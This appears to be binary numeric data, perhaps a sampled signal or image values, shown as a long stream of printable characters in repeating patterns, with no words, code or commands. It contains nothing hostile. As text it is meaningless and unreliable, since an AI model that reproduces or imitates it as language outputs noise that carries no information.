+:*>(D%&H-&M3&P:$TA"WF!ZJ\N^R`VaYa[b]c^e_e_e_e_e`f`gagagag`gahahahafbg`g`g`f^d^e]e_e]d\b[cYb[aYaY`Y`X`W`V_V_U^T]S]S\R\Q\Q[Q[OZPZOYNYMYMYKXIWJ WI WG!VG!UF!UE"UC"TD"TB!TA!TA"T@!R?!R>"Q=#Q<#Q;#O:#O9%N9$N8%L7%M5$M3$L3$K1%J1%J0&I/(I.(G+(F+(F*)F))D()C&)B%)@$(>")> )>*<+;,:-:.9.7-5 .4 /30100//-...0-1-2-3-3-3-4-5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,4-4.5/71:4=6?8B;D<E>G?JALDNFOHQITKUNWP[S]U`WbYc[f]g_jalcmfpgriulwmyo{r|tvxz|~¶ĸƺȽɿ˿ȼƸĵó~|~y{vxswprmokmhkfidgab]`Z]XYUWSTQRNNLLIHFGCC@@==;:9865432//,,)('&&$$!    " %#(%*(.*0,2/5276:8<;>=A@DCHFKIOLQNTQVSXU[W_Zb]d`fcifkhojrlunwqyt}wz~ķƹȻʾʿǽƼƺ·|zwv~t|qxowmukrjqhoelciaf^e\cZaX_V^T[SZPWNVLTJQHNELCJAH?F>D;A:>9<6:473513.2,3-3-3-3-3-3-3-2.2.2.2.2.2.3-3-3-3-3-4-5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-1-3,6*7*6,7/B;gbJg{~wsoh[L9" BB4.2-2+2+2-3/4.5,3-3-3-3-3-3-3-3-2-3.3.3/3/2135384;5>5B4E3I1L1N0Q0S0W0Z/\.^.`.b/c/d/e/f/h0i/j/k/l/n-p+q,r,s,s-t,u-w-x.x.z.z/{-|,++++,++*+,*+**+**))**))*))))*))*)*))())*))))))),+++**)(''(())))*)))*+++*+**+,,,,+***)*+--}-{-w,s+q*m-i1d1_0Y0T0M0D1?09041/3-6-7*6*5,4,3,2,2-0-0.1/2/3.4-6,6,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-2,1-0//3 19,>)B$'G+$K2$P:$S@"WG ZL ]Q`UbYd^e`ebfchdieieheieifigjgjgjgjfkgkgjfjfifieieiehcgcgbgcgafae`e_e_d^d^c^c]c\cZbZbZaY`X`W_W_V_V^U]T]T]S\R\Q[Q[P[NZO YM!YL!YK!XJ!WI"XH"VG"WF"WE!VD"VD!UC!UA"TA#TA$S@$R?#Q=%P>$P=#O<$O9$O7#N8#N6$M5$M4$L4&L2&J0'I0(I/(I/(G-(F,'E,(D+'C)(B((B&*@$+?!,?->.=/<.;/90928 26 14/1.1/01.1-2-3-3-3-4,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,3,3,3-5.81;4<6?8@:B<D=F@IAKCMDNFPHSJUMXO[Q^S_V`XcZe\h^j`kbncpfrisjvlynzp}ruvy|}·źǽʿʿȻƸŶô|~y|vysupsmpknikfideab]_[\YZVWSTQQOMMKJIGFDB@?>=<::885522//-++))&&$#!     "!%#(&+)-*1.3/5285:8=;?>B@ECHFKIOKQNTPVSYU[W`Zc\e_hbjelhojrmuoyq{t|wz~¶ĸƺȼ˿˿ȽƻĹø~|zwu~t{qyovltkripgnekciag^e\cZaX^V\TZRWPVNSLRJPHMFJCHAF?D=B<@9=7:59271504.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,6,6,4+2+1,4.C:hb =_|wsog[L7v@A3,2*3+3-3/4/4.4,4,4-5-4-4,3-3-1-1/212325372:1>2A4D4G3J2M2P0S1U0W0Y0\2^/a-c-d.f.g.h/j.k-l-n-o-p.q-r,t+u+v,w,x,y,y,{,|,},~,,+**++*,++++,+*)))*))))))(()(''(()))*))'((())(((((**)*))((('((())**)))+,+++++++++++++*+*+,|-z-u.r/n.k,g,c._2W3S2M2H2B1;06022/2-3-5-6+5+4-3-3-3-3-2-2-3-3-3-3-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2-2-2-2-2-2-3-3-4-4,4,4,4,3,3,3,3,3,3,3,2,2-2.2.2.2.3-3-3-3-4-4-4-4-4-3-3-3-3-3-3-3-3-4-4-4-4-4-3-3-2,2,2,2,2,2,2,2,2,2,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.3.3.3.3.2.2.2.2.2.2.2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-2-2-3-3-4-4,2,1,1/14 2:.?+D''H.$M6$Q>#UCYK\O`UbYd]gbjfjhkilimjmimimhmimjmkmkmklkmlllllllkkjjkjjhigigigigighfhfhegegdececece`f^e^d]d]b\b\c\cZbZaZ`Y`Y`X_V_U_U]T]R]Q\Q\P\O[NZMZLZK YJ YI XHXHWGWE VD!VD!UD!UC!SB"SA"RA!R@#R>#R>#Q<#P<#P;#P:#O9$N7%M6&M5&L5&K4'J3&I2'I1&H/'H.'F,'E+(E))D&(B$*B",A!,@+?+>->0=0;/9.7.6 /4 /3/1000.1-1-1,2-3-2,2,3-3-3.3-2,3-4.4.3-3-3,4,4,4-3-3-3-2-2-2,2,2,2,3-3-3-2-2-2-2-2-2-3-3-4-4,4,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,3,3,3-4-5.7184;5=7?:@<B<D>H@IBKDNFOIRJTMWOZQ\S^U`WcYd\g^h`jamcofqhsjvlxnzp}r~tvyz}~·ĺȼɾʾȻǹŷõ~|}yzvxsupsmqknikfidfac^`\]YZVWRTQQOOMLIJGFDDA@?==;:8855221..,,)*&&$#!     "!%#'&*).+0.416385;8=:@=B@FDHFKHOKQMUOWSZU\X_Zd\g_ibkenhpjrmuoxq|t~x{~´õŸƻȾʾɽǻĹ·~{ywu}r{qxovmsjripgmdjbh`f^d\bY`W^V[TYRWOSMRKPINHLFICFAD?B=A<?:<79471605/4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-6,:+7,2-.--,3,B8f^ *MrzsncVG1jt>=3*2'3*3.4/5/4.2,4-4-4-4-4-4.3/1014171:1=3@2E/H/J1M1O1Q1T0V0Y0[/\0_0a0b/e.g.h,i-k-m,n,p,q,r+s+t+u+v,x*y+z,{+|+}+~+**+*****++*,++++,++)(((())((((()('''()**(('''''(((''(())))((()))**))**+*))+,+*****)**)****}+{+z,w-s.o-k/h0d0`.],Y/T4K5G4C4>39232/2.4-4,3-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2-2-2-2-2-2-3-4,5,5,5,4,3-3-3-3,3,3,2,2,2.2.2.2.2.3-3-3-4-5-5-5-5-5-3-3,3-3-3-3-3-3-4-5-5-5-4-3-2-2,2-2,2,2,2,2,2,2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.3.3.3-2.2.2.2.2.2.2.2.2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-2-2-3-3-3,5,3,2+2.24 28,<*A%'F-$J4#N; RAXI[N^TaYd^gcjglimjnjokokokpjpkqlqmpmooppoqnqnqmqmpmnlmklklklklkkjkjjjjjjiihighfgffhdhbhbgagaf_f_e_e^d^d^c]b]c\bYbYbXaW`V`U_T_S_S^R]Q]O]O\N[M[LZLYKYIXHXHWHWG VFUETDTD TB!SB"SA!R@!Q?!Q>"Q=#P<#O<#P;#N9#M7$L7$L7%L3%K2%K1%J0%I/&H.'H,&F*'E((D&(C%(B$'A")A+?,>+=,<,;,8-8/7/6 /4 02 00/.0.1-0,0,1-1-2-2-3-3-4.4.3-3-4,5,5,4,3-3-3-2-2-2,2,2,2,2,3-3-2-2-2-2-1-2-3-3-5,5,6,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.607295;7<9=:B=D>G@HBJDMFOIQJSLVOYPZR]T_VaYc[e\f^ialcnepgsiukwmzp|r~tvxz|ŹǼʾʾȽǻŸö||zzvxsvptnqknikgjegbc_`\]XZTWRTRRPPMMJJGHDDB@?>=;:8765422./,,*)''$#!    ! $$'&)),,/.216386:7=:@=D@FCHFKINKQNSOWSYU\X_Zb]f`ibkenhpksmuoxr{u~wz~´ķŹȻɽ˿ǻƺŹ·~{yw~u}szqxovmtjrinfmdkbh`f^d\bZ`W]V[TZQVOUMQKOIMGLFICGAC>B=?;>9<784615/4.3-2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-6,9+6,1.---,3,@4]R 8Ztwk^L9& [`;76+3)3+3-3.3.3-3-2,2.2-2.2/3123273:2>2A2D4H1K0O0R1T0V1W1Z0]0_0a/c/d0f1h0i.j.k,m-n.p-q-r-s-u,v,w,x+y,{,|,},~--,,++++,*+*+,*-++++,*,*('''(()))****(())**+)))((((''(''((((()((***)))()***++*+,+******+~*}+}+{+y,w,t,r-q-n.j.f0b0^/Z/V/R,N/J2C1?/:/6021/2-3-4,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2-2-2-2-2-3-3-3-3-3-4-5,5,5,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3+3+3+3+3+3+3+3+3+3+3+3+3,3,3,3,3,3,3,3,3,3,3,3,3,3,3+3+3+3+3+3+3+3+3+3+3+3+3+4+5+5+5+5+5+5+5+5+5,5,5,5,3,4-4-4-4-4,4,4,3,3,3+3+3+3+3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3-2,1-3,2-1,0/14 08-<*A"(F*%J0#M6"P; UDXI\P_UbYd^hbiekflhmioioipjplqmqnpoppqrrsqsqrprprpqppppoooononnmnmmlmlmklkljkijjikgjejfjfjeididhcgcgbfbfaeae_e^e]d]d[c[c[bXaWaV`V`U`S_S_R^R^Q ]Q\P[M [M [MZLYK XJ XJWH VH VF!VE VD UD!TC!TB"TA#SA#S?$R?$Q>#P<#O<#O:$O9%N7&M6&L5%L3'K2&J0'I/'I-'H,(G+'F)(E()D&*C#+B!*A +?,>-=.</;0:08170504 02 00/.../-/-0-0-2-2-2-2-3-4.6-5,5,5,5,3-3-3-3-3-3-3-3-3-4,3-3-3-2-2-2-2-3-3-5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.50627395:7@:A<C>E@HBKDMGOHQJTMUNWPYR\T_WaYbZe]g_jalcnepgrjulwnyp{r}tux{}·Ĺǻɾ˾ɼǺŹõ|~y|vzswqtoqlmjlhiefbc^a\\XZUWTURSOQLMIKGFECB@@==;::774412/0-+))'&$#!     $#&&))+,//214386:8=:?>CAFCHGJJMLPOTQVSYV[Y_[a^e`ickfmipksnvqxs{v}xz~¶ŷƺȼʾʾȻƺĸ¶}{yw}u{rypwnvlsjqhoflcjah`e^c[aY`W\U[SYQXOUMQKOIMGKEJCGAE>B<@:=7;5:3624/3-3-2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-6+4-1./.0-4+=1RDqh#8Pg|~{vl`L8$x~KJ825,4,3,3-3-3-3,2-0.00011214383;4?3B3F3I3L4O1R/U/X0Z0\1^0`/c/e/g0h/j/k/m/m-o-n.p/r.s.t/v-w.x,y-{,|+|-~----.,-++,,,++*+,++++**+++)'((**+*++,,,,*))))))((**))))))(())**)***)++*++**++*,+*++,,+,~+{,z,y-v-u.t-r.q.m0k1i0f0c1_1\1W1T0O/J.G.C.?.:.7,3-0/.1-2-3-4,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3.3-3.3.3.3.3.3.2.2.2.2.2.2-2,2,2,2,3,3,3,3,3,4,5,5,5,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2+2*2*2*2*2*3+3+3+3+3*3*3+4,4-4-4-4-4-4-4-4-4-4-4-4-4-4,4,4,4,4,4,4,4,4,4,4,4,4,5+6+6+6,6+6,6,5+5+5+5+5+5,5,3,3,3,3,3+3+3+3+3+3+3+3+3+3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3-2.1-2.1./..//307/<-@+F%(J+(N3'P7%T?$WE#ZJ$]P"_U"bYe^f`fbhcjejejejfkiljmjllllmnopqrqrqqqqqqrrrrsrsrsrsrrqrqqppopopooonnnnnlnjljlililhkgjgkfjfifiehehdgchbgag`f_e_e]e]d\cZcYbXbXbWaVaV`T^T_S ^R ]Q ]P[P\N ZNZM YM YK ZHXIXG WG VF WD"VE!UC#UB"TA"S@"S?!R>$Q>$P=$O<$N:$N8%M7%M4&M4&L3&K2'J0&I/(H/)H-*G+*F)*E(*D&+C%+B",A .@.>/=0</;/9072503 /3 01 /1.0.--,/,/,0,2-3.3-5,5,5,5,4-3-3-3-3-3-3-3-3-5,5,4-3-3-3-2-2-3-3-5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.517384>7?9A;D=F?IBKDMEOGRJSLUNWPYR\U_VaXcZd\h_j`lbnepgsitkvmyo{q}tuxz|~·ĸǻɽʿͿʽǻƸõ{y}vztwrtoqnnkliiefcc_a[]Y[WXTURSOQKMIJGFECC@@>=<:9874421//-,*)'&$#!!      " $#&%)(-+/-306486;8=;?>B@FDHFKJNMQPTRWTYV]Y_[b^ebhdkfoiqltovqxtzvy{~õŷǺɽʾ̾ɼƺķ~}{yv}t|rypvnukrjphoelcjah_e^c[aY_W]UZRXPVOTMRKOHMFKEICG@E>C<@9=7:49281504.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.1-2,6+;.G:]R{ +.=0;09/9/7/4.3 .0-0./...-/-1,2,2,2,3-3-4,5,5,5,5,5-5-5-5-7,5,5,5,4-3-3-3-3-3-5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.5062<5=6?8A:D<F>GAJBLENGOIQKUMWPYR\S_V`XbZd\g^i`jblepgqiskumwpzq}t~vxz|~øƻȽ˿ʽǺŸö}z|xzvvssopmmkkhiefcc_`]]ZZWXTVRSNPLMIHGEEDC@?>=<::8854310/-,*)'%%#"     #!$#&&)(+*/-206486;:><@?BAFDIGKINMQPTSWUZW[Y`\b_eagejgmjqltovrxu{w|y|~õŷȺɽͿ˼ɼƺ÷~|zx~v|szqxowmskqiognfkci`h_d\c[aY^V\TZRXOUMTLQJOHMFJDHAG@E>C;@9>6;392706/4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-1.2.2.3-4,5,7,<1J@g` (/21+#mkH?9/5.2.1.1-1-1.102104/:/>1@2C3F4I4M2O1R0U0X/Z0]/`-c-d.f.g.i.k-m,o-q,r,s+s,u-u-u.v.x/y.z-{-|,~-,,,+,,,+,,,-,,,,-+))*+*****()())(()**++***+++*))**)*)*)))))**+***,++,,,,,+++++,-.~.}.{.x-w-u-t-r-p-o-l-j.g0f0d2b1`1^1\1Z4V5S4P4O4L3H4E2?1<180503/1-0.0.///2/3/5-4,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3-3-3-3-4-5-5,6,6,5,4,3-2,2-2-2-2-2.2.4-4-4-4.4.4-4-4-4-4-4,4,4,4,4,4,4,5+5,4-4-4-3-3-3-3-3-3-3-3,3,3,4-4-4.4-4-4-4-4,3,4,3,4,3,3,4-3-4-3-4-4,3,4,3-4,4,4,4,3-2-2.2.2.2.2-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2,2,2,2,2,2,2,2,2,2,2,2-2-2-2-3-3-3-4-4-4-3-4-3.4-4-4-4-3-2,2,2,2,2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-4-4-4-4-4-4-4-3-3.1.1-2.1,/,/...-1 ,5+8+;-@,D%'G.%J3&N9%R>$SC#VH!YM [R\S^V`Yb[d\e^e`fbgcgdhejgkhlimjmknlompmomnnonqoqpqpqprqsrrrqsqsqsqsqsrrrsrrqrqqqqpppnononnmnnnlljmjlikikhjgigjfjehehdgcgcgaf_f^e^d]d[c[bZbYaY`X`W_W ^U^S]R]Q]P\O[N\MZMZKYJYIWHVFVF UE UETD SC RA Q@"Q>#Q>#Q<$P;%O;$O9%M7%M7'L6%K5%J3%I2'I1(H/(H-(G,)F*)E'*D&)C&)A#+@ -?->.<.;.9.7/6/614 /2 .0../-2-2.3-2-3-3-4,4,4,5,5-5-6-6-7,6,5,5,5,4-4-3-3-3-4,4,4,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4.5/92;3=5@7A9D<F>H?JBLDNGOIQKTMVOZQ\S]U_XbZd[f]h`ibmdnfphrjtmxnzq{s~uwy|~øƻȽʿʽȺƹĶ}{}xzvussqpnnklhjfgbd``\^Z[XXTURSOOMLJIHFFCBA??==::8864320/-,*('%%""     ""%$'&)),+.-205397;9=<A?CAECIFLINLQPTRWUYW]Y_[c^faidjglipmsowryuzw~y{õƸȸ˼̿˼ɺǹķ~|zxv{tyqwoultjphoglekciaf^e\bZ`X^V[TYRWPUMRKQINGLEJCGAE?D=B;@9>6;3817/5.4.3-3-3-3-3-3-3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.0.1-3,5,6+5,4-4/;4PJlf  pqNF=35,2-..//0//004183:3=/B0F1I2L3N2Q0S0W0Y/\._.a/c/f.h.i.j/k.n.o-r,t-u+v+w+w,x-x,y,y-|-}-~,-+++++++++,+++,,+++,+)))***)))(())))))))()*)***)*)))))))+*****))***+,++,-,,,++*++~-|-y.w/u/s/p.n.m/k/h.g.d/b/_0]1[2Y2W3U3R2P3N4J5H4F4D3A2=2:1613001/2.3-1.1/1.1-3.3.5,5,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.3-3-3-4-5-5-5-7-7-6-4,3,3+3,3,3,3,3,3-5,5,5,5-5-5-5.5.5.5.5-5-5-5-5-5,4,5,4-5-4-4-3-3-3-3-3,3,3,2,2+2+2,2,2,2,2+2+2*2+1+1*1*1*1*1*2+2+2+2+2+2+2*3+3+3+ 3+ 3+ 3+ 2+ 0, 0, 0, 0, 0, 0, 0, 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0+ 0* 0* 0* 0* 0+ 0+ 0+ /+ /+ /+ /+ /+ /,1,1,2,3,3,3,3-1,1,1,1,1+2+2+1+1+1+1+1+1+1,2,2,2,2,3,3,3,3-3-3-3-3-4-5-5-5-5-5-5.4-3.2,3,4-3,2+3-0+/-./-1 .4/8.;'>"&B''F,&I1%K6$N;"P@!RETFVHXKZN[O\Q^T_VaXbZd\f_gbhciejgkiljmjmlnlnmooooopnpoqoqpsosososospsqsqtrtrtrtstrsrrqrqrpqpqppooononnmnlmllkljljkijijhihifididichbgaf`e_d^c^c]b\a[aZ`X`V`U`U_T^S^R]R]P\O[NZLYLYKXJ WIVH VG UF TD!TB"TB#SA$S@%Q?%Q=$Q;%P;&N;$M9#L7$L7%L6%K3%K1&J0'I.'H,'G+'F*'E()D%+C$+B",A 